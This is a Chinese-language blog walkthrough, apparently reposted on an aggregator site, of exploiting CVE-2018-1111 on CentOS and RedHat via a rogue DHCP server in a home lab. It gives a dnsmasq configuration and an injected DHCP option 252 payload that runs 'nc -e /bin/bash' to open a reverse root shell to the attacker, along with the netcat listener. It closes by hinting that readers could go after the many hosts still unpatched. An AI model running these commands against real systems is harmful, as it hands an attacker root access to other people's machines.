zoukankan      html  css  js  c++  java
  • CVE-2018-1111 劫持dhcp造成Redhat、centos代码执行

    原文地址:https://www.o2oxy.cn/975.html

    前言: 看到crazy 老哥说有一个好新的漏洞。可以在redhat 和centos 执行任意代码 、 我说这就很有意思了。晚上来看看

    他分享了一下他写的博客。看了下。进入tools 看了下这个文章,仔细的看了下, 很有意思。有意思

    漏洞概述
    通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。

    影响:

    测试了一下 centos6 和centos7 都受到这个影响

    利用的整个过程:

    宿主机环境:Windows 10 企业版  
    虚拟机环境:VMware Workstation

    攻击者:Kali linux
    受害者:centos7

    • 1. 两台虚拟机的网络适配器都需要设置为 仅主机模式
    • 2. 停用主机模式的DHCP服务

    首先将两个虚拟机设置成仅主机模式,关闭dhcp功能。

    kali设置成静态地址,要和下文中的conf中的地址相同,网关也是本机ip。这里我设置成192.168.71.5

    root@kali:~# route add default gw 192.168.71.5

    kali创建个dnsmasp.conf内容如下:

    bind-interfaces 
    interface=eth0 
    except-interface=lo 
    dhcp-range=192.168.75.10,192.168.75.20,12h 
    dhcp-option=3,192.168.71.5
    dhcp-option=6,192.168.71.5
    log-queries 
    log-facility=/var/log/dnsmasq.log

     开启dnsmasp:

    dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"

    nc侦听6666端口

    nc -l -p 6666 -v

    kali 这边已经完成了

    现在centos重启一下网卡!

     

    已经显示获取到了IP 了 看看kali 这边的情况吧

     

     写了一个文件。在centos 里面查看一下

    总结:

    漏洞原理应该是使用了单引号导致了参数被执行。

    **--dhcp-option="252,malayke'&nc -e /bin/bash 192.168.182.130 6666 #"**

    现在应该还有很多主机是没有补丁的。。可以去 …. hhhhhhh

  • 相关阅读:
    团队项目冲刺第五天
    团队项目冲刺第四天
    团队项目冲刺第三天
    团队项目冲刺第二天
    团队项目冲刺第一天
    团队任务命题
    java报错the superclass was not found 解决方案
    Buildings 分类: ACM 多校 2015-07-23 22:09
    1009 数字1的数量 分类: 51nod 2015-07-20 21:44 3人阅读 评
    1284 2 3 5 7的倍数 分类: 51nod 2015-07-18 22:06 6人阅读
  • 原文地址:https://www.cnblogs.com/liang2580/p/9058227.html
Copyright © 2011-2022 走看看